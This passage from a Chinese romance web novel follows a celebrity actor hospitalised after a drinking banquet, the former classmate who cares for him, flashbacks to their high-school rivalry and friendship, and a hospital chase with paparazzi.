卓然:“你对小麦不过敏了?”
盛愿:“吃过药了。”
原来如此。
也是,过去这么多年,他早就不是从前的他了。毕竟娱乐圈应酬常有,抗过敏的办法也常有,无需旁人再惦记着,提醒着……
“卓总和盛哥很熟吗?”
见他一直帮她挡酒,陈太太羡慕极了
卓然略作沉吟:“他跟我朋友关系很好。”
“难怪你俩今天一起来的。”
陈太太化身八卦小迷妹,掩面偷笑道:“不瞒你说,我上周看过你们的官宣微博,刚才差点以为是真的呢。”
卓然付之一笑。
盛愿往这边掀了掀眼皮,神色不明。
帮娇妻挡酒的陈总,越听越不是滋味,开始拉着盛愿拼酒,势要在娇妻面前一展雄风。
也能借此给“蜜恋”和
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北愿工作室一个下马威。
他的那俩下属察言观色,极力配合。
一对三的局面,对盛愿十分不利。
卓然酒量一般,也不想当众损伤到他男人自尊,只能先暗中观察。
不似私下的散漫不羁,盛愿眼下一举一动都变得得体大方,就连纸巾擦指尖都自然而然地优雅。
他自小含着金汤匙长大,这股子矜贵庄重的气质倒不必刻意伪装,只是那笑不入眼的厚重面具,终究是出卖了他。
从始至终,盛愿谈笑自若,反倒让陈总三人的脸色越来越难看。
卓然眸色却越来越黯淡。
没人天生就能驾驭酒局,这都是历经千锤百炼的结果。
盛愿出社会比她早,19岁就签了经纪公司。那时,会有人像这样帮他挡酒吗?
从7点喝到9点,陈总三人接连趴下,“服了服了,我今晚输得心服口服啊!盛老弟,你以后有事尽管招呼,老哥哥我必定万死不辞……”
“那今天就到这吧。”卓然趁机叫停。
男人们已喝上头,她对一旁陈太太道
事实是,陈太太更上头。
酒后的盛愿,冷白的俊脸染上红晕,神情更加慵懒,平添一抹亲近勾人。
小迷妹有幸近距离得见,被迷得不要不要的:“太帅了!怎么能这么帅?到底吃什么长大的……”
可怜的陈总大着舌头问:“媳妇,那我呢?”
对上他那张猪肝色的肥脸,陈太太:“……”
她转头问:“你们等会谁开车?”
“有朋友等在车库。”
苏渔是安北河的妹妹,卓然没当她是寻常外人。
陈太太却误以为这朋友只来接卓然,双眼陡然一亮:“那盛哥呢?没人接吗?我可以让司机绕道送送,让他跟我一起吧!”
卓然:“……”
现在的男孩子,出门在外要保护好自己呀。
*
陈太太扶着陈总,恋恋不舍地离去
卓然也扶着盛愿出门。
酒桌上全程从容淡定的男人,这会状态并不算好。
脚步轻浮,一进电梯,高大的身形大半压到她身上。
毕竟同时跟三人拼酒,“很难受吧?”
盛愿比她高出一个头,这会两人挨得极近,卓然不好仰头看他,只能轻声询问。
他下巴蹭着她头顶摇了摇,低声含糊道:“没见识,我酒量好着呢。”
“……”
别人醉酒都硬舌头,就他硬张嘴。
不过事实求是地讲,他这会微醺的磁音色还怪好听的,像唯美小夜曲的音调。
念在帮忙挡酒的份上,她很给面地“嗯”了声,没再搅扰。
安静狭窄的空间里,只剩男人身上的淡淡冷香,似雪后山泉中混着一缕红尘酒意。
盛愿弧长的眼皮微阖,垂眼瞧着身前的女人,眼底情绪变化莫测。
电梯停在负2层车库,冷风迎面吹入
盛愿似清醒几分,强撑站直,淡声道:“没准有狗仔偷拍,你另外叫车回吧。”说完,戴好口罩先行出门,高大背影是一惯的笔挺。
卓然在原地怔了瞬,狗仔对他影响这么大的事,她确实没意识到。
直到电梯“叮”得一声响,才回过神,两人已然拉开距离。
电梯门缓缓合上,看似只有几步远的距离,被隔绝成两个差异迥然的世界。
卓然重新打开电梯门,顾虑盛愿喝酒太多,还是隔着三排车位远远跟着。等会将他平安送上车,她再打车走。
那辆劳斯莱斯,就停在前面不远处。
苏渔一望见他俩就笑嘻嘻下车挥手,转而大惊失色:“盛哥,你又喝酒啦?!”
卓然预感不妙,疾步上前,“他吃过抗过敏的药了,也不行是吗?”
“他胃也不好!”
苏渔扶盛愿坐上车后,慌忙转身找手机:“喝太多酒,估计又得去医院。我这就联系顾医生问问。”
“……顾燕京?”卓然紧跟着坐进后座,掏出手机,有条不紊地安排:“你先往医院方向开车,我来联系他。”
等电话接通时,她目光落在盛愿身上
他上车后就摘了口罩,这会一手捂着腹部,眉毛浅浅皱着,线条硬朗的额间疼出薄汗。
看得卓然也眉梢紧拧。
所以防备狗仔只是支开她的借口,然后他自己好偷摸去给医院送钱?
他可真能耐,都疼成这样了还敢糊弄她!
顾燕京接通电话后,倒吸口气:“他喝了多少酒?”
卓然回忆:“半斤白酒。”
“他可真是花式作死!”
顾燕京气急败坏:“你直接拉他去火葬场吧。”
卓然呼吸一紧,语气沉下:“我不管你用什么办法,必须把他治好!”
斜前方一辆不起眼的面包车里,狗仔精准录下这一幕。
狗仔大春,热衷报道明星隐婚隐恋。
此前,他跟踪明星是一拍一个准。唯独在盛愿这,赔了夫人又折兵。
跟踪快两年了,不仅没拍到实锤,还经常被“遛狗”。
什么大半夜去河边钓鱼啊,停车场迷路转悠2小时啊,吃饭忘带钱、骗狗仔留在收银台啊……
大春每每回忆,都是一把辛酸泪。
好在皇天不负有心人,“我今天绝对盯死他!”
10. 重逢篇
夜间雪下大了,路上又冰又滑,来往车辆都像蜗牛在爬。
驾驶座上,苏渔急得冒汗。
卓然一遍遍看手机地图,还得半小时
平时这点时间不算什么,眼下格外磨人。她皱了皱眉,侧头安抚:“马上到了。”
“安全第一。”
盛愿半阖眼靠在后座,洞悉着一切。
一向嘴吧不饶人的男人,半晌就吭这么一声。
他手仍捂在胃部,脸上冒出大颗的汗珠,明显疼得更厉害了。
盛碰瓷今晚出奇地安静,小家伙从副驾鸟悄鸟悄地跳到后面来,在盛愿怀里乖巧得蹭了蹭。
它似乎很懂这一幕,比卓然懂。
在她印象中,盛愿是吃嘛嘛香的。
没想到一别几年,胃病会如此严重,否则说什么也不能让他挡酒。
“靠过来,我给你按按。”
卓然拍了拍自己的肩。
盛愿闻言睁眼。
迎着他不解目光,她轻声解释:“我刚上网查的,给醉酒的人按揉太阳穴,利于缓解胃部不适。”
他又静静瞧她一会,“用不着。”
声量不大,语气依然恣傲。
卓然太知道这人有多好面子了,将态度又放软几分:“就当给我个弥补的机会,盛哥?”
盛愿还是拒绝,却只摇了摇头,貌似难受到话都不想再说。
整晚空腹灌白酒,怎么可能好受?
见他死要面子活受罪,卓然又气又担心,恼火之下,直接伸手拽住他衣领,将人简单粗暴地按到她肩头。
盛愿偏头瞪她一眼,挣扎着要坐回去。
卓然死死按住他脸,他那张市值几亿的帅脸,“要脸还是要命?再敢乱动,我就真拉你去火葬场!”
“反动分子”身体僵了几秒,而后安静枕到她肩上,得以成功镇压。
恰逢红灯,苏渔拉好手刹,和被吓得蹿回副驾驶的盛碰瓷,同时扭过头来。一人一猫,四只乌亮的大眼睛,齐齐盯着卓然。
尤其苏渔,充满敬畏和难以置信。
卓然的注意力仍在盛愿身上。
她右手刚绕过他背后,指尖都还没碰到,就听见某人低语:“想摸我脸直说,不丢人。”
“……”
卓然的指腹轻轻地按住他太阳穴,仔细揉着。
车里的空调已开到最大,暖气烘发了他身上大半酒味,但盛愿还在冒冷汗。
她问苏渔:“有暖宝宝吗?”
苏渔摇头,“之前盛哥每次都忍着,说他用不着那种玩意儿。”
……这也是很盛愿了。
好在卓然有先见之明,从大衣口袋掏出一盒已经暖热的纯牛奶。
这本是留着给她解酒的,没想到……
卓然单手笨拙地给牛奶插进吸管,歪头递到盛愿嘴边,“想被喂就张嘴,不丢人。”
“噗哧——”
不等盛愿反应,苏渔先忍不住竖起大拇指,这时红灯变绿灯,她赶忙启动车子。
车后座,盛愿“忍辱负重”喝完牛奶,胃部被暖得热呼呼的,绷紧的身子渐渐变得柔软。
他虽没出声,但卓然能感受到他舒服了点,看来保暖的办法有用。
她又帮他按揉会穴位,而后在不挪动他坐姿的前提下,将羊绒大衣慢慢脱下来半边,翻盖到他身上。
盛愿有所感应,缓缓仰头,瞟向她。
卓然整理好大衣后,视线不经意转过去,意外撞见了他幽深的眼里。
空气滞停一瞬。
卓然这才发现两人挨得极近。
近到她再稍微低头或他仰头,就会鼻息相灼,浅印一吻。
“……想吐?”卓然目光乱糟糟地挪开,垂眸去翻找驾驶座后兜里的塑料袋。
盛愿却没再低头,目光仍在她脸上,“还能忍。”
他有气无力应道,嗓音不知何时已染上一缕暗哑。
“想吐就吐,吐出来会舒服点,我和苏渔都没洁癖。”
卓然猜,他是担心女生爱干净、会介意污秽气味才要强忍,于是轻声开解道。
“不。”
盛愿牵了牵唇,态度坚决:“我要吐给顾燕京看,和他同归于尽。”
“……”
*
半小时后,劳斯莱斯紧急停在瑞京医院门口。
顾燕京早早就带着人和必要的医疗设备,等候在此。
车门一打开,几个男大夫就动作利落、手法娴熟地将盛愿搀扶到白色滑轮病床上。
盛愿吹了冷风,刺激胃里一阵翻江倒海,头偏出床外,忍不住全吐了出来。
好巧不巧,有几滴呕吐物溅到了顾燕京的皮鞋上——
“这缺德货!我要跟你同归于尽!”
重度洁癖患者,望着已经匆匆跑远的滑轮床,在原地气到跳脚。
卓然因为眼镜起了白雾,稍慢一步,幸免于难。
她看着这对冤家,啼笑皆非。
一路的紧张,神奇地被冲散了不少。
随后,卓然追上大部队来到急诊室。
苏渔停好车后,也提着猫包过来。
两人脸色沉重地站在门外,一等就是半小时,里面的人仍没有要出来的迹象。
浓重的消毒水味,刺得人脑神经根根紧绷。
“他这几年经常这样?”卓然问。
苏渔也不是很清楚:“我从去年才跟在盛哥身边的,但打那时起,我哥就已经不让他喝酒了。”
“这么严重……”
看着护士进进出出,甚至中途又进去一位更年长的医生,卓然脸色越来越沉。
能猜到是因为娱乐圈常有应酬。
但这病情比她想象中,严重太多。
“可盛哥都清心寡欲一年多了,怎会突然破戒?”苏渔眨巴着无辜的大眼,疑惑地看向卓然,“刚在饭桌上,唐三藏遇到了女妖精?”
女妖精本精:“……”
“不,是葫芦娃为了沙和尚,水淹陈塘关。”
苏渔点点头:“原来如此……啊?”
“嗡嗡嗡!”
这时,苏渔手机震动:“完了完了,肯定又要挨我哥骂了……卓姐,你帮我看下猫哈。”
安北河在外地谈合约,一时赶不回来
苏渔只好耷拉着小脑袋,认命地进楼梯间汇报情况。
卓然恹恹坐到猫包旁,与盛碰瓷大眼瞪小眼。
片刻后,她透过纱网戳下它,细语呢喃:“你要是会说话就好了。”
小家伙龇牙打个哈欠,又望向急诊室的门,乌亮眼珠一动不动的盯着。
走廊尽头,尾随而来的狗仔大春,背着死沉死沉的摄像机,蹲在犄角旮旯,一脸的生无可恋。
完了完了,全完了……
大新闻没蹲到,大半夜来医院蹲楼道
盛愿他就算今晚不办事,各自回家睡大觉也好啊!
另一狗仔顺子:“春哥,咱这是又被遛狗了?”
大春:“闭嘴!瞎说什么大实话?”
历经一个半小时漫长等待,急诊室紧闭的大门终于缓缓打开。
时值晚上11点多,盛愿昏迷着被推去住院部。困得两眼迷糊的苏渔,连忙拎起猫包,小跑着跟过去。
卓然白天补过觉,这会还很精神。
她跟着顾燕京一路走进院长办公室,“他现在什么情况?”
“多亏你没让他又强撑着,及时喝牛奶,帮了我们大忙。喝那么多酒还能不胃痉挛,不幸中的万幸了。”顾燕京边倒水别说道,神色疲惫。
“所以,他胃病到底有多严重?”
“都说了,医患信息保……”
“他那抗过敏药,你给开的吧。”
卓然打断他,“纵容他胃病恶化到这地步,您的医德也高尚不到哪。别再跟我废话,直接说病情!”
顾燕京古怪看她,“这你都知道?”
小麦过敏,对靠脸吃饭的明星来说,是很私密的话题。万一被对家利用毁容,演绎生涯就彻底完了。
“我就说嘛,整天死装死装的一人,怎么甘愿躺在女人怀里,老老实实被摆布……”
他靠坐到转椅上,一脸贼笑:“要说你俩高中没奸情,也就苏渔那小傻蛋会信吧?”
卓然也笑了:“信不信我3分钟黑了你们系统后台?”
别家医院不敢说,瑞京医院的系统可是她亲手装的,没要一分钱的那种。
顾燕京笑容秒收:“你这女人太可怕了!”
果然人不能贪小便宜,注定得吃大亏啊……
深夜的医院走廊,仍是灯火通明。
卓然来到病房时,盛愿还在昏睡着。
苏渔守在床头,也困得打瞌睡。
猫包里的盛碰瓷倒挺很精神,一瞧见卓然,就歪着小脑袋蹭来蹭去地求贴贴。
卓然拍了拍它,再轻轻拍醒苏渔,“回去睡吧。明早过来替我,顺便带些换洗物品。”
“好,我一早就过来。”苏渔道谢起身,揉着眼睛去拎猫包。
“雪天路滑,你一个人就别开车了,打车回去。”卓然又叮嘱道。
“卓姐,你人可真好。”
临走前,小姑娘一本正经地赞叹道:“我咋就没有个,像你这样重情重意的老同学呢?”
卓然就笑笑。
她坐到苏渔原来的位置,先看了眼吊瓶的余量,才看向床上。
在苍白灯光的映照下,男人躺在浅蓝色被枕间,衬得他脸色越发惨白。
已经不冒冷汗了,但俊朗的眉峰蹙着,睡得并不踏实。
“被娱乐圈折磨成这样,你后悔当初的坚持么?”
联想起顾燕京的话,她喃喃地问。
床上的人依旧昏睡着,回答她得只有萧萧风雪声。
卓然又静静注视了会,起身走到窗边。
雪还在下,茫茫一片,渐渐迷了人眼
那些不愿再去触及的高三生活,和这个人的点点滴滴,在这个冬雪之夜,重重浮现眼前。
*
因为那句“比不上马戏团的猴”,卓大神和盛大少爷之间,必然要经历一场持久性恶战。
止战已是国庆后,两人重新做回同桌
卓然帮他补课,盛愿负责带饭,全力冲刺期末。
当时盛家父子约定一份君子协议——盛愿期末成绩超过一本线,才能参加艺考。
然而盛愿为了学表演,此前经常翘课,成绩勉强够二本。
为能赢下赌约,别人吃饭他做题,别人午休他做题,就连跑操都要带着单词表。
卓然看得分明,这人真的很想去艺考
她渐渐地午休不再回宿舍,前半小时讲题,后面趴在桌上小憩。
经过一段磨合,她发现盛愿一点就通,吃亏在基础不牢。
于是针对性地制定一套学习方案,他成绩肉眼可见地进步。
但人一进步就容易翘尾巴。
盛愿午休做题没了之前专注,见卓然安安静静睡在旁边,时而生出坏心思。
今天往她脸上贴便利贴,明天画朵小红花……倒也不下狠手,就是猫嫌狗弃的。
有次卓然被惹急了,转手就往他校服上画一只小王八。
盛愿起初不知,背着只小王八晃悠大半天。知道后,背着那只小王八又晃悠大半天。
还逢人就夸:“瞧瞧我同桌这画工,不愧是全市第一!”
众人:“……”
他还挺骄傲?
反正就印证那句话,只要他不尴尬,尴尬的就是卓然。
卓然想了想,将当天原定3套试卷的私人小作业,面无表情又添上两笔,改成了8。
“卓扒皮,过分了啊!”
“你以为哥看不出来这点小伎俩?”
“我绝不向恶势力低头……”
盛大少爷嘴上骂骂咧咧,手上却是奋笔疾书。
像一只又屌又怂的猴,被成功镇压在“三年高考+两年模拟”的五指山下。
为让盛愿彻底踏实心思,卓然逼着他制定明确的考试名次——
全班30人,末2位会淘汰到B班。
盛愿必须考到28。
火箭班第28名,基本就是全校前30,全市10万毕业生的前50。
这对于靠他爸捐楼进火箭班、成绩刚满B班末等水平的盛愿而言,压力着实不小。
卓然舍命陪君子,立誓要在保住全市第一的前提下,再进步10分。
“考不到的当众学狗叫,敢不敢?”
“比就比,who怕who啊?”
一生要强的男人,不可能临阵犯怂。
于是整个寒冬,盛愿都是班上最早开门、最晚关门的人,披星戴月,挑灯夜战。
上学没功夫喝手冲咖啡,雀巢速溶咖啡被他喝空一罐又一罐。
那段日子,不仅老师同学对他刮目相看,就连收破烂的老大爷都比之前热切:“小伙砸,又有不要的空玻璃罐了没?”
期末市统考后,各回各家。
卓大神寒假没闲着,鲜少上网看微信
直到腊月二十九,邮局将成绩单寄到,才看了眼微信班群和盛愿的朋友圈——
毫无水花。
她识趣地关掉手机,继续做题。
自己做完两套高考真题,想了想,又从中给他筛选出一套。
忙活到凌晨4点才阖眼,结果不到6点就被楼下的炮仗吵醒。
她一脸冷漠地拉开窗帘,愣住。
纷飞的雪沫中,一个白衣少年靠在暖黄的路灯下,仰头笑望着她,闲闲地招了下手。
像是不染烟尘的雪域佛陀,身在世俗,心在无间。
少年鼻尖冻得通红
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,但俊挺的琥珀眼眸,澄亮有神。超高品质的视觉盛宴,让唯美的青松飞雪都黯然失色……
“砰!”
一团废纸箱突然凌空砸下,隔壁老大妈破口大骂:“下次再敢天不亮就放炮仗,老娘拿尿泼你!”
帅气不了5秒的盛某人:“……”
卓然哭笑不得,那点不爽的起床气勉强掀篇。
她打着哈欠穿好衣服,下楼:“怎么着,来找我学狗叫?”
“哥是来听狗叫的。”
微信上,也找不到卓然的成绩信息。
“那你是想多了。”
下雪天路上行人稀少,卓然带他往早餐铺子走,百思不得解:“你怎会有我家地址?”
“多大点事,掐指一算呗。”
“说人话。”
“考试前登记成绩单的邮寄地址,我留了后手,就怕某人不肯学狗叫。
果不其然呐,吓得连微信都不敢回,还好哥机灵,知道买炮仗。”
……谁特么的凌晨5点多看微信?
卓然无语:“可真是机灵死你了!”
早点铺靠空调处,服务员陆续端上来生煎包、卤蛋、虾仁肠粉和老鸭粉丝汤。
盛愿调了两份蘸碟,他那份有好几勺红油辣椒。
卓然托腮等着他一起动筷,“你艺考是几号?”
都敢来她家楼下点炮仗,那他肯定就赌赢他爸了。
盛愿眼皮微沉,顿了顿:“老头子说话不算数。”
火热喧闹的早点铺子,乍然一静。
卓然轻轻凝看他,原来考了满意成绩却没能如意的人,不止她一个……
她坐正身姿,“那你打算怎么办?”
盛氏集团在海市是数一数二的龙头企业,祖辈三代打拼下来的江山。
四代单传,盛愿是唯一家族继承人。盛老爹一直希望他能经商,外人对此也不好掺和。
盛愿将蘸碟推给她,等她一只生煎包咽利索,才答道:“离家出走啊,这不来投奔你了吗?”
刚吃了他东西的卓然:“……”
盛愿兄弟们的住址,盛老爹都知道。
两人一顿拉扯后,卓然勉强同意以她名义给他订3天酒店。
安顿好才10点,雪停了。
两人随着熙攘人流,去庙会向城隍爷许愿,并排跪在圆蒲团上,摇晃签筒。
考中清北,也祝他圆梦。
愿我们都能做更好的自己。
卓然阖眼摇签,心思更诚。
等她睁眼时,旁边的人才快速收回目光,闭眼假模假样晃荡两下。
莫愁前路无知己,天下谁人不识君。
——盛愿的,是上上签。
山穷水尽疑无路,突缘桃李又逢春。
——卓然的,上签略弱。
“其实你这签文更靠普,人生哪有一帆风顺的?”
见卓然怔在原地,盛愿将竹签凑过来抽走,随手扔回筒里,“走,哥带你吃香喝辣的去。”
卓然任由他拽着衣袖,一路沉默。
其实签文没说错,她前18年的人生,疑似山穷水尽。本以为回到亲生父母身旁,会迎来桃李芬芳。可无论她成绩多好,妈妈眼中只有相伴18年的养女。
此刻,卓然举目远眺,这座陌生的城市仍是一片隆冬……
“小姑娘!你没事吧?”
忽然,路中间冲出来一位热心大姨,指着盛愿拽在卓然衣袖上的手,大喊道:“要是被绑架下药、不能说话了,你就眨眨眼!”
被人团团包围的盛愿:???
被大姨抢到怀中的卓然:“……”
好吧,这座城市还是有点温暖的。
解释清误会,两人默契并肩同行。
盛愿自嘲:“我就说签文不准,神马‘天下谁人不识君’?这种闹上新闻的好福气,我怕折寿!”
卓然勾唇,兴致好转些,随手翻开书摊上的《乔布斯传》。
苹果之父乔布斯,幼年也生在领养家庭,少年坎坷,中晚年晓喻全球。人生没有白走的路……
“喜欢的话,就当新年礼物吧。”
卓然寻声看去,盛愿已付完款,笑容明朗而专注:“只送你一个人的礼物。”
阳光之下,白衣少年的周身渡着一层金光,晃得人眼不舒服。
卓然低头看向怀里的书,过了好一会,才出声问:“你呢,有别的心愿吗?”
他看着她,也好一会才道:“还没想好,再逛逛。”
后来,两人捡到了自来熟的盛碰瓷。
像是上天安排的礼物,能带来好运。
没多久,盛老爹再次妥协,同意让盛愿报考一家艺术院校试试,考不上就踏踏实实去学商科。
众所周知,演员们都有各自的圈子。
但盛愿放弃本地更好考的戏剧学院,毅然决然填报了北京的大学……
*
“盛愿考到北京后,日子过得很难”
刚在办公室,顾燕京告诉卓然:
“他家老头子还是想让他学商,大学期间断了他所有人脉和资金。
起初接不到戏,富家少爷也顿顿靠朋友接济、天天打零工。”
“好不容易攒点名气,又跟经纪公司闹崩了。为争取到角色,酒局应酬一个又一个。”
“后来红是红了,但也树大招风。酒桌上稍有不慎,就可能被造谣耍大牌。”
“他过敏体质本就不宜饮酒,时间久了,就患上严重胃溃疡。”
卓然不太懂医理,“有多严重?”
“再来这么一次,就得做胃切除了”
顾燕京一本正色,毫不夸张地说道。
胃切除……
胃、切、除!
夜深了,雪还在下,病房里静悄悄。
但卓然的耳边,仿佛还在回荡着顾燕京的示警。
她看着床上丰神俊朗的男人,硬朗的下颌线如刀削般清晰,叫人分辩不清是因为瘦身上镜,还是胃口不行。
本就体质特殊,偏又得了胃病。看似名利双收的背后,他又比旁人幸福多少?
卓然无声喟叹,点开手机商城。
下单一些养胃的小零食,还得避开面包、蛋糕、饼干,也就只剩下米稀、米糕这类。
盛愿半夜醒来过一次,怔怔看着卓然,琥珀眼仁晶亮,漂亮的他却不说话。
“是哪不舒服吗?”卓然伸手探了探他额头,冰凉凉的,没发烧。
他还是一瞬不瞬盯着她瞧。
卓然猜测到一种可能,“签份卖身契,我就考虑……扶你去卫生间。”
盛愿眼珠动了,声线莫名和着几许苍凉:“这梦,瞧着还挺真实。”
卓然怔然。
那一瞬,蓦然有种错觉——
有可能她也曾这样欺诈过他,在过去六年的某些长夜。
11. 重圆篇
当晚,盛愿盯着卓然好一会,又虚弱昏睡过去。
怕他半夜再醒来需要人,她没敢阖眼,点了杯加浓黑咖撑到天明。
次日6点半,东方破晓。
卓然静坐在床尾的蓝丝绒沙发上,用手机梳理着周一例会概要,等会和苏渔交接完,她就直接去公司。
听到轻微的被褥窸窣声,抬眼看去,盛愿正定定看着她。
男人身着蓝白条纹病号服,在清晨第一缕阳光的映衬下,脸庞苍白又不失骨感美,琥珀瞳仁点缀细碎的光。
光的中央,满满拢着一个小小的她。
见他又盯着人不说话,卓然放下手机,走到床头,轻问:“醒了,是还有哪儿不舒服?”
盛愿没立即应声,阖眼再睁开,像在核实着什么:“你昨晚没走?”
卓然点头,“苏渔那孩子困得不行,我就让她先回了。”
盛愿唇角微弯,缓了缓,语调又散漫起来:“是么,不会又想趁机占我便宜吧?”
“……”
卓然无语一瞬,逆着他直白的挑衅视线,转手点开收款码,“已经凑够法定工作日8小时,夜班的时薪得翻倍。”
她又指着额角冒出的熬夜痘痘,“这是另外的价钱。”
盛愿的声量余有虚弱,但不妨碍语气欠揍:“啧,不愧是资本家的女儿。”
“知道我是资本家的女儿,还这么糟蹋自己身子?”
昨晚那场酒局,本来酒量极好的孙蓓蓓负责分担火力。得知她临时不能赴宴后,卓然身为做东的出资方,作好被灌醉的准备。
至于盛愿,她本没报太大期待。
没想到,他一晚上给她太多意外。
“所以呢?”盛愿不正经地挑下眉,“昨晚那么认真照顾我,被感动得芳心荡漾了?”
“想多了,资本家都是没心肝的。”
盛愿:“哦,合着缺心眼啊。”
“那也比你急性胃出血好!你知不知道,昨天再严重点就得胃部切除了。”
卓然识破他插科打诨的伎俩,让话题重新严肃起来,眼神也凌厉几分。
盛愿脸色似僵了一瞬,转而假模假样地往被子里缩缩,“你这女人好凶啊,连病号都欺负,以后谁还敢娶?”
卓然才不吃他这套,想起苏渔说他每次都硬扛着连暖宝宝都不准备,不禁板起脸:“看来你这教训是还没遭够……那我今天就让你长长见识,缺心眼的资本家是怎么丧心病狂的。”
说着,她从手机翻找出几个短视频。
美食博主1号:“朋友们谁懂啊?蜜汁脱骨鸡翅,烂软滑嫩,一口炫仨!”
美食博主2号“吸溜”声不断:“焦糖烤奶茶,珍珠爆浆,口口喝到爽哟——”
美食博主3号:“家人们,强推龙虾生煎啊!虾馅流汁,麻辣鲜甜,香迷糊了哟……”
一瞬间,各种美食的诱人描述,齐刷刷袭向病床。
还伴着丝滑的咀嚼声,直叫人口齿生津,食欲大增。
但洗胃的人24小时内不能吃东西。
盛愿被气得狂翻白眼,最后只能用被子蒙住头,在病床上躺尸。
卓然坐在床边,大方表示:“想吃吗?我可以给你都买回来……闻闻。”
“……”
不多时,苏渔带着换洗物品抵达。
得知病房刚刚这出,小脸满是自责。
今早安北河告知酒局有陈总后,她就很自责昨晚没多问一嘴,于是及时为盛愿的冤情平反:“卓姐可能不知道,祥泰广告的陈总,在业内出了名的能喝。”
卓然微怔,回国没多久,这事她的确不知。
病床上,本就难伺候的大少爷,扭头看向窗外,现在对她一点好脸都没有了。
而且,以卓然对盛愿的了解,被苏渔这么拆台后,估计他还会有几分别扭。
卓然按了按眉心,放软语气:“这事是我不识好人心,等出院了,再请你吃饭赔罪?”
盛愿冷哼:“我这破胃,可不配吃卓总的大餐呐。”
“我昨晚还买了点米稀、米糕,”卓然将手机递到他身边,“盛老师看着再添点?”
盛愿回头瞥了她一眼,又不屑一顾地看向窗外,显而易见还得继续哄。
一旁,苏渔替卓然捏把汗。
她入职工作室两年以来,虽然盛愿大多时冷着脸生人勿进,但鲜少真生气计较。
然而倘若他认真计较起来,包括她哥在内,没有一星期都哄不好。
卓然指尖轻敲着膝头,想了想,从高三久远的光辉战绩中挖掘出一点存货。
“盛哥一向宽宏大量,肯定不会跟我真计较的,对吧?”
她嘴吧像抹了蜜。邪恶的手指则伸过去,戳了下他的腰眼——
那腰就像触电般,瞬间痒得乱颤。
盛愿慌忙拍掉她手,“说话就说话,别动手动脚的!”
他不得以转过脸来,没好气瞪她:“每次都用这招,也没点新鲜的。”
卓然心说,这招不是好使嘛。
她面上则无比配合:“行,下次我换点别的。”
“……你还敢有下次??”
盛愿剜她一眼,往购物车里怒加几十单零食,才算勉强顺口气。
苏渔瞪大眼,再度将卓然惊为天人:
这就哄好了?
用点零食就把盛哥搞定啦?
哄好盛哥可以这么容易的吗???
窗外晨曦渐盛,万顷光芒普照,枝头冬雪开始消融,松柏青绿。
*
给盛大少爷顺毛完毕,卓然就叫网约车前往公司。
“不回家补觉吗?”苏渔关切。
盛愿也不赞同地瞪她。
“今天这场会议内容比较重要,会后我在办公室沙发上也能歇歇。”
因为跟北愿工作室有合作,卓然多解释了两句。
之前提及,“蜜恋”会举办年度大赛
全部通关中的游戏玩家中,各个NPC男友的赛道上,耗时最短的,可获得一款与NPC人设对应的仿生机器人男友。
如此既能增加游戏的噱头,又能促使玩家为了尽快通关而加大氪金力度,双重提高公司的盈利水平。
就在上周五,卓然接到集团研发部的通知,5个NPC男友的外部机器套件和内嵌芯片已开发完毕,1.0版本可以正式测试啦。
从一维构思、到二维设计图、再到三维立体机器人,别说卓然这个老母亲甚感欣慰。
就连苏渔听完都激动不矣,兴奋搓小手:“我一定要好好表现,争取赢个‘老公’回来!”
卓然忍俊不禁:“你最喜欢哪个?”
“那个大学教授!”苏渔眼睛弯成月牙:“帅气,温柔,还博学……”
两人聊得火热,一旁被遗忘的盛顶流,忽然不悦地嗤了声。
苏渔:“……”
卓然:“……”
诚实讲,那NPC确实不如盛愿帅气。
盛愿的五官并非样样出挑,但组合到一起,加上独有的硬朗面部线条,无与伦比的冷傲气质,就连UI设计师都复刻不出来。
但人家“大学教授”温柔啊。
至于某顶流,啧。
卓然又简单叮嘱几句,起身拎上包。
苏渔也跟着起身送她,哪知刚走到门口,就撞见大春俩人正从病房门上的玻璃框中,往房里探头探脑。
四目相对后,两人撒腿就跑。
卓然狐疑望着他们,直觉情况不对。
苏渔反应了2秒,“是狗仔大春!”
“一看见我们就跑,肯定拍到东西了。”卓然脸色骤变,“快追!”
“好!”苏渔拔腿就跑。
她穿运动鞋,比卓然高跟鞋跑得快。
但卓然也匆匆追在后面,心里盘算着,实在不行就把爆料买下来,“都别跑了,咱们先谈谈——”
早上8点,医院楼道已人来人往。
她们这么一跑一喊,引得大伙纷纷驻足围观。
楼道尽头,大春根本不理会卓然的喊话,率先跑到电梯门口。
他边狂按开门键,边警惕回头,眼见苏渔就要上他俩,情急之下扭头扎进楼梯间。
顺子的反应慢了一步,被苏渔逮住机会,紧紧扯住衣角。
他本能地想挣脱,猛地一用力,猝然将娇小的姑娘甩了出去。
苏渔控制不住身形,眼瞅着,额头直直地撞上墙壁——
“小心!”
电光火石之间,卓然紧急冲上前,用身子垫在苏渔和墙壁之间。
她用心口及时挡住苏渔的额头,却也因为突遭了巨大冲撞力,自己的后脑勺被“咚”得磕在墙上。
人群中爆发出尖叫,顿时乱做一团。
但卓然已顾不得那些,整夜未睡的她,这会双腿突然发软。身子也像破掉的布袋子一样,贴着墙面无力下坠。
“卓姐!”
苏渔惊惶抱住她,“卓姐,你没事吧?”
卓然动了动嘴唇,想说没事,奈何眼前渐黑。
旁边电梯“叮”得一声,卓然昏迷前,勉强听见一道不太熟悉的男声:“小渔?”
来人身着一袭白底青竹刺绣的中山装,是从外地坐早班机赶回来的安北河。
他从电梯里出来,见状不由分说冲上前,三两下就将吓傻的顺子给钳制住。
苏渔一见到大哥立刻有了主心骨,气愤又委屈地告状:
“还有个狗仔顺着楼梯跑了,他摄像机里有拍东西!”
“大哥,不能放过他们,绝不能放过这帮伤害卓姐的坏人!”
“别怕,”安北河揉了揉她头,语调有条不紊:“先送她去检查,后面的事交给我。”
“……嗯!”
苏渔抽泣着抹掉眼泪,连同赶来的护士们,一起七手八脚将卓然送到临近的病房,紧急脑科医生进行检查。
与此同时,安北河用力扭着顺子,带到盛愿的病房,“哐”得关紧了房门。
*
盛愿得知前因后果,周身气压骤降。
本就幽冷的琥珀眸,一寸寸结冰:“偷拍也就算了,你居然还敢打女人?”
顺子猛地寒颤,缩到窗边,“你、你要干嘛?”
盛愿没理会他,掀开被子想先去看卓然,奈何这会全身乏力,动作僵滞。
紧接着情绪牵动胃部,一阵痉挛抽搐。疼得他倒吸口气,捂着腹部,重重跌回床上。
“愿子,你先别急!”
安北河堵在病房门口,掏出手机,“我这就让小渔同步情况。”
盛愿咬着牙费力靠到床头,随即拨通顾燕京的电话,简短说明事由。
电话里,顾燕京第一反应也是:“盛愿,你千万别激动!我这就联系我导师,他是脑科领域的权威,治疗这种小撞伤肯定没问题。”
盛愿:“随时同步消息。”
